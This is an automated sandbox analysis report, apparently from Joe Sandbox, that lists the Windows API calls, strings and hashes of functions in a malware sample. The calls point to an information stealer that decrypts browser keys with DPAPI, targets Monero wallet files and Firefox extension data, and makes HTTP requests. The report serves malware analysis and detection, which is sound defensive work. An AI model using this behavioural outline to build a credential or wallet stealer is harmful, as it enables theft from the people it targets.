Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD8B60: GetSystemTime.KERNEL32(00FE0E1A,007BA5D0,00FE05AE,?,?,00FC13F9,?,0000001A,00FE0E1A,00000000,?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FD8B86

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FCD801
lstrlen.KERNEL32(00000000), ref: 00FCD99F
lstrlen.KERNEL32(00000000), ref: 00FCD9B3
DeleteFileA.KERNEL32(00000000), ref: 00FCDA32

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c1ce0ba3eeb35a761f3fdf310fe79fae387a5926ee545c5b147240a48ee1ed35
Instruction ID: 9add533cdfa66261e8581a8210e5ebfff29b3f44e815bcda849120388cf53028
Opcode Fuzzy Hash: c1ce0ba3eeb35a761f3fdf310fe79fae387a5926ee545c5b147240a48ee1ed35
Instruction Fuzzy Hash: EE8125718101189BCF04FBA4DD96EEE7339AF54300F54412AF407A7192EF386A09FB6A

Function 00FCF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FC99EC
Part of subcall function 00FC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FC9A11
Part of subcall function 00FC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FC9A31
Part of subcall function 00FC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FC148F,00000000), ref: 00FC9A5A
Part of subcall function 00FC99C0: LocalFree.KERNEL32(00FC148F), ref: 00FC9A90
Part of subcall function 00FC99C0: CloseHandle.KERNEL32(000000FF), ref: 00FC9A9A

Part of subcall function 00FD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FD8E52

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00FE1580,00FE0D92), ref: 00FCF54C
lstrlen.KERNEL32(00000000), ref: 00FCF56B

Strings

^userContextId=4294967295, xrefs: 00FCF59C
moz-extension+++, xrefs: 00FCF5AD

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0d64cd401f30dc64f714bd1e0dd402a592fac201c1a9c42ec650c189ffc6b443
Instruction ID: 22e30bbcefc2572c2ab8af762ee5e008e3fc188bd1ac3bbb2db963127132fed4
Opcode Fuzzy Hash: 0d64cd401f30dc64f714bd1e0dd402a592fac201c1a9c42ec650c189ffc6b443
Instruction Fuzzy Hash: 8C515671D001489BDB04FBB0DC96DED733AAF54300F448529F81667291EF386A19FBAA

Function 00FC9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FC99EC
Part of subcall function 00FC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FC9A11
Part of subcall function 00FC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FC9A31
Part of subcall function 00FC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FC148F,00000000), ref: 00FC9A5A
Part of subcall function 00FC99C0: LocalFree.KERNEL32(00FC148F), ref: 00FC9A90
Part of subcall function 00FC99C0: CloseHandle.KERNEL32(000000FF), ref: 00FC9A9A

Part of subcall function 00FD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FD8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FC9D39

Part of subcall function 00FC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FC4EEE,00000000,00000000), ref: 00FC9AEF
Part of subcall function 00FC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FC4EEE,00000000,?), ref: 00FC9B01
Part of subcall function 00FC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FC4EEE,00000000,00000000), ref: 00FC9B2A
Part of subcall function 00FC9AC0: LocalFree.KERNEL32(?,?,?,?,00FC4EEE,00000000,?), ref: 00FC9B3F

Part of subcall function 00FC9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FC9B84
Part of subcall function 00FC9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FC9BA3
Part of subcall function 00FC9B60: LocalFree.KERNEL32(?), ref: 00FC9BD3

Strings

"encrypted_key":", xrefs: 00FC9D30
DPAPI, xrefs: 00FC9D89
, xrefs: 00FC9DC1

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 364aa5d245e7d50b68833d5aed26cc77e471a72b44d2e749b467000959154fb4
Instruction ID: d6c836f399819fcdcfec64e5e92bb5e3562a2c785d9d3fe5919e79f695fd42aa
Opcode Fuzzy Hash: 364aa5d245e7d50b68833d5aed26cc77e471a72b44d2e749b467000959154fb4
Instruction Fuzzy Hash: 303130B5D1020AABCB04DFE4DD8AFEEB7B9BB48304F14451DE906B7241E7749A04DBA1

Function 00FD6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007B9228,?,00FE110C,?,00000000,?,00FE1110,?,00000000,00FE0AEF), ref: 00FD6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FD6AE8
CloseHandle.KERNEL32(00000000), ref: 00FD6AF9
Sleep.KERNEL32(00001770), ref: 00FD6B04
CloseHandle.KERNEL32(?,00000000,?,007B9228,?,00FE110C,?,00000000,?,00FE1110,?,00000000,00FE0AEF), ref: 00FD6B1A
ExitProcess.KERNEL32 ref: 00FD6B22

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 6544d7d963a1479e8e728d4c8ded742a93d2ad057fa5971ce8460ddaf587542e
Instruction ID: 52764ff4fdfccca94b1fecef491dc4eff0eea7e178beae34e38451609c693e0c
Opcode Fuzzy Hash: 6544d7d963a1479e8e728d4c8ded742a93d2ad057fa5971ce8460ddaf587542e
Instruction Fuzzy Hash: CEF03A30940319AAEB10ABA0AC0ABBD7B35EB44701F588617B513E22C2DBB85540F756

Function 00FC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FC4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00FC4849

Strings

<, xrefs: 00FC47C9

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 0cca131bda478ee414087358e8497009830315d3e9a05673befa8b6003d4fae9
Instruction ID: 17c391c3970cace0c9b10f6a36e099b0f0b80a7c20cfb558c33d820987c7686c
Opcode Fuzzy Hash: 0cca131bda478ee414087358e8497009830315d3e9a05673befa8b6003d4fae9
Instruction Fuzzy Hash: 0C216DB1D00209ABDF14DFA4E849BDE7B75FB44320F108626F929A72C1EB746A05DF81

Function 00FD51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC6280: InternetOpenA.WININET(00FE0DFE,00000001,00000000,00000000,00000000), ref: 00FC62E1
Part of subcall function 00FC6280: StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC6303
Part of subcall function 00FC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FC6335
Part of subcall function 00FC6280: HttpOpenRequestA.WININET(00000000,GET,?,007BE200,00000000,00000000,00400100,00000000), ref: 00FC6385
Part of subcall function 00FC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FC63BF
Part of subcall function 00FC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FC63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FD5228

Strings

ERROR, xrefs: 00FD5273
ERROR, xrefs: 00FD521A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: dbfa058b46b495fb14ce145193e97feb303cfef8b1e792e4994e04b3ce313d4a
Instruction ID: 2880f70ba4fddcd7d89f0b1d6e83e572a72262d625fd1d8a3bd217591ac296c2
Opcode Fuzzy Hash: dbfa058b46b495fb14ce145193e97feb303cfef8b1e792e4994e04b3ce313d4a
Instruction Fuzzy Hash: 27113330900148A7CB14FF60DD52EED7339AF50300F844559F91A47292EF38AB19F795

Function 00FD4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FD4F7A
lstrcat.KERNEL32(?,00FE1070), ref: 00FD4F97
lstrcat.KERNEL32(?,007B90A8), ref: 00FD4FAB
lstrcat.KERNEL32(?,00FE1074), ref: 00FD4FBD

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD492C
Part of subcall function 00FD4910: FindFirstFileA.KERNEL32(?,?), ref: 00FD4943

Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE0FDC), ref: 00FD4971
Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE0FE0), ref: 00FD4987
Part of subcall function 00FD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FD4B7D
Part of subcall function 00FD4910: FindClose.KERNEL32(000000FF), ref: 00FD4B92

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
